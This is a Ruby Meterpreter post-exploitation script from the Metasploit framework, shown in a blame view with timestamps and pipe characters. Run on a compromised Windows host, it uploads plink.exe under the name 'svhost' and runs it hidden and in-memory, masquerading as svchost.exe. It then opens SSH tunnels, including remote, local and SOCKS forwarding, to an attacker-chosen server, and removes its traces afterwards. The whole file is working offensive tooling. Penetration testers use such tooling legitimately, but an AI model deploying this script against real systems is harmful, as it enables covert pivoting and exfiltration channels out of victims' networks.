2010-10-18 23:20:24 +00:00
|
|
|
#
|
|
|
|
# Meterpreter script to deploy & run the "plink" commandline ssh-client
|
|
|
|
# supports only MS-Windows-2k/XP/Vista Hosts
|
|
|
|
#
|
|
|
|
# Version 1.0
|
|
|
|
# written by illegalguy
|
|
|
|
#
|
|
|
|
require 'net/http'
|
|
|
|
require 'uri'
|
2010-10-25 02:21:31 +00:00
|
|
|
meter_type = client.platform
|
2010-10-18 23:20:24 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# Options
|
|
|
|
#
|
|
|
|
|
|
|
|
@@exec_opts = Rex::Parser::Arguments.new(
|
2013-09-30 18:47:53 +00:00
|
|
|
"-h" => [ false, "This help menu"],
|
|
|
|
"-f" => [ true, "Do not download plink.exe but use given file."],
|
|
|
|
"-U" => [ true, "Download from given URL instead of default one (http://the.earth.li/~sgtatham/putty)"],
|
|
|
|
"-H" => [ true, "The IP/hostname of the SSH-server to connect to !REQUIRED!"],
|
|
|
|
"-p" => [ true, "The port of the remote SSH-server (Default:22)"],
|
|
|
|
"-u" => [ true, "The username to use to login to the SSH-server !REQUIRED!"],
|
|
|
|
"-P" => [ true, "login with specified password"],
|
|
|
|
"-b" => [ false, "disable all interactive prompts"],
|
|
|
|
"-R" => [ true, "Forward remote port to local address ([listen-IP:]listen-port:host:port)"],
|
|
|
|
"-L" => [ true, "Forward local port to remote address ([listen-IP:]listen-port:host:port)"],
|
|
|
|
"-D" => [ true, "Dynamic SOCKS-based port forwarding ([listen-IP:]listen-port)"],
|
|
|
|
"-C" => [ false, "enable compression"],
|
|
|
|
"-X" => [ false, "enable X11 forwarding"],
|
|
|
|
"-x" => [ false, "disable X11 forwarding"],
|
|
|
|
"-A" => [ false, "enable agent forwarding"],
|
|
|
|
"-a" => [ false, "disable agent forwarding"],
|
|
|
|
"-1" => [ false, "use SSH-protocol-version 1"],
|
|
|
|
"-2" => [ false, "use SSH-protocol-version 2"],
|
|
|
|
"-4" => [ false, "use IPv4"],
|
|
|
|
"-6" => [ false, "use IPv6"],
|
|
|
|
"-i" => [ true, "private key-file for authentication"],
|
|
|
|
"-m" => [ true, "read remote command from file"],
|
|
|
|
"-s" => [ false, "remote command is an ssh-subsystem(SSH2 only)"],
|
|
|
|
"-N" => [ false, "Don`t start a shell/command (SSH2 only)"],
|
|
|
|
"-n" => [ true, "open tunnel in place of session (SSH-2 only) (host:port)"],
|
|
|
|
"-r" => [ true, "Set SSH-Server`s Hostkey as known Host in Windows-registry before starting the client"],
|
|
|
|
"-F" => [ false, "Disable ram-mode, upload plink and run from disk. Attention : no auto-cleanup when using -N AND -F !"],
|
|
|
|
"-E" => [ true, "Start process from memory as given (Target Machine`s!) Application (.exe) (Default: C:\\windows\\system32)"],
|
|
|
|
"-v" => [ false, "Give additional (debugging-)output"]
|
2010-10-18 23:20:24 +00:00
|
|
|
)
|
|
|
|
|
|
|
|
def usage
|
2013-09-30 18:47:53 +00:00
|
|
|
print_line("plink ssh-client deploy+run script")
|
|
|
|
print_line("This script will upload and run a plink ssh-cient")
|
|
|
|
print_line(@@exec_opts.usage)
|
|
|
|
raise Rex::Script::Completed
|
2010-10-18 23:20:24 +00:00
|
|
|
end
|
|
|
|
|
2010-10-25 02:05:28 +00:00
|
|
|
# Wrong Meterpreter Version Message Function
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
def wrong_meter_version(meter = meter_type)
|
2013-09-30 18:47:53 +00:00
|
|
|
print_error("#{meter} version of Meterpreter is not supported with this Script!")
|
|
|
|
raise Rex::Script::Completed
|
2010-10-25 02:05:28 +00:00
|
|
|
end
|
2010-10-18 23:20:24 +00:00
|
|
|
#
|
|
|
|
# Default parameters
|
|
|
|
#
|
|
|
|
|
|
|
|
plink = File.join(Msf::Config.data_directory, "plink.exe")
|
|
|
|
|
|
|
|
#plinkurl = 'http://the.earth.li/~sgtatham/putty/latest/x86/plink.exe'
|
2010-10-19 14:58:59 +00:00
|
|
|
#plinkurl = 'http://the.earth.li/~sgtatham/putty/0.60/x86/plink.exe'
|
2010-11-01 22:07:30 +00:00
|
|
|
plinkurl = 'http://updates.metasploit.com/data/win32-ssh/plink.exe'
|
2010-10-18 23:20:24 +00:00
|
|
|
license = <<-EOS
|
|
|
|
PuTTY is copyright 1997-2010 Simon Tatham.
|
|
|
|
Portions copyright Robert de Bath, Joris van Rantwijk, Delian Delchev, Andreas Schultz, Jeroen Massar, Wez Furlong, Nicolas Barry, Justin Bradford, Ben Harris, Malcolm Smith, Ahmad Khalifa, Markus Kuhn, Colin Watson, and CORE SDI S.A.
|
|
|
|
|
|
|
|
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
|
|
|
|
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
|
|
|
|
|
|
|
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL SIMON TATHAM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.'
|
|
|
|
EOS
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Define required functions
|
|
|
|
#
|
|
|
|
|
|
|
|
def upload(client,file,trgloc = nil)
|
2013-09-30 18:47:53 +00:00
|
|
|
if not ::File.exists?(file)
|
|
|
|
raise "File to Upload does not exists!"
|
|
|
|
else
|
|
|
|
if trgloc == nil
|
2013-12-19 01:43:59 +00:00
|
|
|
location = client.sys.config.getenv('TEMP')
|
2013-09-30 18:47:53 +00:00
|
|
|
else
|
|
|
|
location = trgloc
|
|
|
|
end
|
|
|
|
begin
|
|
|
|
if file =~ /S*(.exe)/i
|
|
|
|
fileontrgt = "#{location}\\svhost#{rand(100)}.exe"
|
|
|
|
else
|
|
|
|
fileontrgt = "#{location}\\TMP#{rand(100)}"
|
|
|
|
end
|
|
|
|
print_status("Uploading #{file}....")
|
|
|
|
client.fs.file.upload_file(fileontrgt, file)
|
|
|
|
print_status("#{file} successfully uploaded to #{fileontrgt}!")
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_status("Error uploading file #{file}: #{e.class} #{e}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
return fileontrgt
|
2010-10-18 23:20:24 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Option parsing
|
|
|
|
#
|
|
|
|
username = nil
|
|
|
|
password = nil
|
|
|
|
rhost = nil
|
|
|
|
rport = 22
|
|
|
|
manual = nil
|
|
|
|
hostkey = nil
|
|
|
|
batchmode = nil
|
|
|
|
remotefwd = nil
|
|
|
|
localfwd = nil
|
|
|
|
socksfwd = nil
|
|
|
|
enablecompression = nil
|
|
|
|
enablex11fwd = nil
|
|
|
|
disablex11fwd = nil
|
|
|
|
enableagentfwd = nil
|
|
|
|
disableagentfwd = nil
|
|
|
|
sshv1 = nil
|
|
|
|
sshv2 = nil
|
|
|
|
ipv4 = nil
|
|
|
|
ipv6 = nil
|
|
|
|
keyfile = nil
|
|
|
|
cmdfile = nil
|
|
|
|
sshsubsys = nil
|
|
|
|
noshell = nil
|
|
|
|
nctunnel = nil
|
|
|
|
processname = "C:\\windows\\system32\\svchost.exe"
|
|
|
|
verbose = nil
|
|
|
|
filemode = nil
|
|
|
|
downloaded = nil
|
|
|
|
|
|
|
|
@@exec_opts.parse(args) { |opt, idx, val|
|
2013-09-30 18:47:53 +00:00
|
|
|
case opt
|
|
|
|
when "-h"
|
|
|
|
usage
|
|
|
|
when "-H"
|
|
|
|
if !val
|
|
|
|
print_error("-H requires an argument !")
|
|
|
|
usage
|
|
|
|
end
|
|
|
|
rhost = val
|
|
|
|
|
|
|
|
when "-f"
|
|
|
|
if !val
|
|
|
|
print_error("-f requires an argument !")
|
|
|
|
usage
|
|
|
|
end
|
|
|
|
plink = val
|
|
|
|
if not ::File.exists?(plink)
|
|
|
|
print_error("Plink.exe not found/accessible!")
|
|
|
|
usage
|
|
|
|
end
|
|
|
|
manual = true
|
|
|
|
|
|
|
|
when "-r"
|
|
|
|
if !val
|
|
|
|
print_error("-r requires an argument !")
|
|
|
|
usage
|
|
|
|
end
|
|
|
|
hostkey = val
|
|
|
|
|
|
|
|
when "-p"
|
|
|
|
rport = val.to_i
|
|
|
|
|
|
|
|
when "-U"
|
|
|
|
if !val
|
|
|
|
print_error("-u requires an argument !")
|
|
|
|
usage
|
|
|
|
end
|
|
|
|
plinkurl = val
|
|
|
|
|
|
|
|
when "-u"
|
|
|
|
if !val
|
|
|
|
print_error("-u requires an argument !")
|
|
|
|
usage
|
|
|
|
end
|
|
|
|
username = val
|
|
|
|
|
|
|
|
when "-P"
|
|
|
|
if !val
|
|
|
|
print_error("-P requires an argument !")
|
|
|
|
usage
|
|
|
|
end
|
|
|
|
password = val
|
|
|
|
|
|
|
|
when "-b"
|
|
|
|
batchmode = true
|
|
|
|
|
|
|
|
when "-R"
|
|
|
|
if !val
|
|
|
|
print_error("-R requires an argument !")
|
|
|
|
usage
|
|
|
|
end
|
|
|
|
remotefwd = val
|
|
|
|
|
|
|
|
when "-L"
|
|
|
|
if !val
|
|
|
|
print_error("-L requires an argument !")
|
|
|
|
usage
|
|
|
|
end
|
|
|
|
localfwd = val
|
|
|
|
|
|
|
|
when "-D"
|
|
|
|
if !val
|
|
|
|
print_error("-D requires an argument !")
|
|
|
|
usage
|
|
|
|
end
|
|
|
|
socksfwd = val
|
|
|
|
|
|
|
|
when "-C"
|
|
|
|
enablecompression = true
|
|
|
|
|
|
|
|
when "-X"
|
|
|
|
enablex11fwd = true
|
|
|
|
|
|
|
|
when "-x"
|
|
|
|
disablex11fwd = true
|
|
|
|
|
|
|
|
when "-A"
|
|
|
|
enableagentfwd = true
|
|
|
|
|
|
|
|
when "-a"
|
|
|
|
disableagentfwd = true
|
|
|
|
|
|
|
|
when "-1"
|
|
|
|
sshv1 = true
|
|
|
|
|
|
|
|
when "-2"
|
|
|
|
sshv2 = true
|
|
|
|
|
|
|
|
when "-4"
|
|
|
|
ipv4 = true
|
|
|
|
|
|
|
|
when "-6"
|
|
|
|
ipv6 = true
|
|
|
|
|
|
|
|
when "-i"
|
|
|
|
if !val
|
|
|
|
print_error("-i requires an argument !")
|
|
|
|
usage
|
|
|
|
end
|
|
|
|
keyfile = val
|
|
|
|
if not ::File.exists?(keyfile)
|
|
|
|
print_error("keyfile not found or not accessible!")
|
|
|
|
usage
|
|
|
|
end
|
|
|
|
|
|
|
|
when "-m"
|
|
|
|
if !val
|
|
|
|
print_error("-m requires an argument !")
|
|
|
|
usage
|
|
|
|
end
|
|
|
|
cmdfile = val
|
|
|
|
if not ::File.exists?(cmdfile)
|
|
|
|
print_error("cmd-file not found/accessible!")
|
|
|
|
usage
|
|
|
|
end
|
|
|
|
|
|
|
|
when "-s"
|
|
|
|
sshsubsys = true
|
|
|
|
|
|
|
|
when "-N"
|
|
|
|
noshell = true
|
|
|
|
|
|
|
|
when "-n"
|
|
|
|
if !val
|
|
|
|
print_error("-n requires an argument !")
|
|
|
|
usage
|
|
|
|
end
|
|
|
|
nctunnel = val
|
|
|
|
|
|
|
|
when "-E"
|
|
|
|
if !val
|
|
|
|
print_error("-E requires an argument !")
|
|
|
|
usage
|
|
|
|
end
|
|
|
|
processname = val
|
|
|
|
|
|
|
|
when "-v"
|
|
|
|
verbose = true
|
|
|
|
|
|
|
|
when "-F"
|
|
|
|
filemode = true
|
|
|
|
|
|
|
|
else
|
|
|
|
print_error("Unknown option: #{opt}")
|
|
|
|
usage
|
|
|
|
end
|
2010-10-18 23:20:24 +00:00
|
|
|
}
|
|
|
|
|
2010-10-25 02:05:28 +00:00
|
|
|
# Check for Version of Meterpreter
|
|
|
|
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
|
|
|
|
|
|
|
|
|
2010-10-18 23:20:24 +00:00
|
|
|
if not rhost or not username
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("You must specify a hostname (-H) and username (-u)")
|
|
|
|
raise Rex::Script::Completed
|
2010-10-18 23:20:24 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Check if plink-file exists, and if not : download from putty-site first
|
|
|
|
# Ask user before downloading
|
|
|
|
#
|
|
|
|
if not manual
|
2013-09-30 18:47:53 +00:00
|
|
|
if not ::File.exists?(plink)
|
|
|
|
print_status("plink.exe could not be found. Downloading it now...")
|
|
|
|
print_status(license)
|
|
|
|
plinkexe = Net::HTTP.get URI.parse(plinkurl)
|
|
|
|
File.open(plink, "wb") { |fd| fd.write(plinkexe) }
|
|
|
|
print_status("plink.exe has been downloaded to #{plink} (local machine). Please remove manually after use or keep for reuse.")
|
|
|
|
downloaded = true
|
|
|
|
end
|
2010-10-18 23:20:24 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Uploading files to target
|
|
|
|
#
|
|
|
|
cmdfileontrgt = upload(client, cmdfile) if cmdfile
|
|
|
|
keyfileontrgt = upload(client, keyfile) if keyfile
|
|
|
|
|
|
|
|
trg_filename = nil
|
|
|
|
if filemode
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("-------Uploading plink -------")
|
|
|
|
trg_filename = upload(client, plink)
|
2010-10-18 23:20:24 +00:00
|
|
|
else
|
2013-09-30 18:47:53 +00:00
|
|
|
trg_filename = plink
|
2010-10-18 23:20:24 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Build parameter-string
|
|
|
|
#
|
|
|
|
params = "-ssh "
|
|
|
|
params << "-P #{rport} " if not rport == 22
|
|
|
|
params << "-l #{username} "
|
|
|
|
params << "-pw #{password} " if password
|
|
|
|
params << "-batch " if batchmode
|
|
|
|
params << "-R #{remotefwd} " if remotefwd
|
|
|
|
params << "-L #{localfwd} " if localfwd
|
|
|
|
params << "-D #{socksfwd} " if socksfwd
|
|
|
|
params << "-C " if enablecompression
|
|
|
|
params << "-X " if enablex11fwd
|
|
|
|
params << "-x " if disablex11fwd
|
|
|
|
params << "-A " if enableagentfwd
|
|
|
|
params << "-a " if disableagentfwd
|
|
|
|
params << "-1 " if sshv1
|
|
|
|
params << "-2 " if sshv2
|
|
|
|
params << "-4 " if ipv4
|
|
|
|
params << "-6 " if ipv6
|
|
|
|
params << "-m #{cmdfileontrgt} " if cmdfileontrgt
|
|
|
|
params << "-i #{keyfileontrgt} " if keyfileontrgt
|
|
|
|
params << "-s " if sshsubsys
|
|
|
|
params << "-N " if noshell
|
|
|
|
params << "-nc #{nctunnel} " if nctunnel
|
|
|
|
|
|
|
|
params << rhost
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Set Registry-Value before running the client, if the param was specified
|
|
|
|
#
|
|
|
|
hostkeyname = nil
|
|
|
|
if not hostkey == nil
|
2013-09-30 18:47:53 +00:00
|
|
|
hostkeyname = "rsa2@#{rport}:#{rhost}"
|
|
|
|
print_status("Writing the Hostkey to the registry...")
|
|
|
|
client.run_cmd("reg setval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname} -d #{hostkey}")
|
2010-10-18 23:20:24 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Give additional output when -v is set
|
|
|
|
#
|
|
|
|
if verbose
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("You set the following parameters for plink :")
|
|
|
|
print_status(params)
|
|
|
|
print_status(processname)
|
2010-10-18 23:20:24 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Execute the client
|
|
|
|
#
|
|
|
|
|
|
|
|
print_status("-------Executing Client ------")
|
|
|
|
|
|
|
|
p = nil
|
|
|
|
if not filemode
|
2013-09-30 18:47:53 +00:00
|
|
|
p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true, 'InMemory' => processname})
|
2010-10-18 23:20:24 +00:00
|
|
|
else
|
2013-09-30 18:47:53 +00:00
|
|
|
p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true})
|
2010-10-18 23:20:24 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
if noshell == nil
|
2013-09-30 18:47:53 +00:00
|
|
|
client.console.run_single("interact #{p.channel.cid}")
|
2010-10-18 23:20:24 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
if filemode
|
2013-09-30 18:47:53 +00:00
|
|
|
if not noshell == true
|
|
|
|
if verbose
|
|
|
|
print_status("Waiting 3 seconds to be sure the process was closed.")
|
|
|
|
end
|
|
|
|
sleep(3)
|
|
|
|
if verbose
|
|
|
|
print_status("Deleting the uploaded plink.exe...")
|
|
|
|
end
|
|
|
|
client.fs.file.rm(trg_filename)
|
|
|
|
else
|
|
|
|
print_status("Cannot automatically delete the uploaded #{trg_filename} ! Please delete it manually after stopping the process!")
|
|
|
|
end
|
2010-10-18 23:20:24 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
if not keyfile == nil
|
2013-09-30 18:47:53 +00:00
|
|
|
if verbose
|
|
|
|
print_status("Waiting 1 second to be sure the keyfile is not in use anymore.")
|
|
|
|
end
|
|
|
|
sleep(1)
|
|
|
|
if verbose
|
|
|
|
print_status("Deleting the keyfile !")
|
|
|
|
end
|
|
|
|
if verbose
|
|
|
|
print_status(keyfile)
|
|
|
|
end
|
|
|
|
client.fs.file.rm(keyfile)
|
2010-10-18 23:20:24 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
if not cmdfile == nil
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("You need to manually delete the uploaded #{cmdfile} !")
|
2010-10-18 23:20:24 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Delete the registry-key that may have been created
|
|
|
|
#
|
|
|
|
if not hostkey == nil
|
2013-09-30 18:47:53 +00:00
|
|
|
if verbose
|
|
|
|
print_status("Deleting the registry-key set by the script.")
|
|
|
|
end
|
|
|
|
client.run_cmd("reg deleteval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname}")
|
2010-10-18 23:20:24 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
raise Rex::Script::Completed
|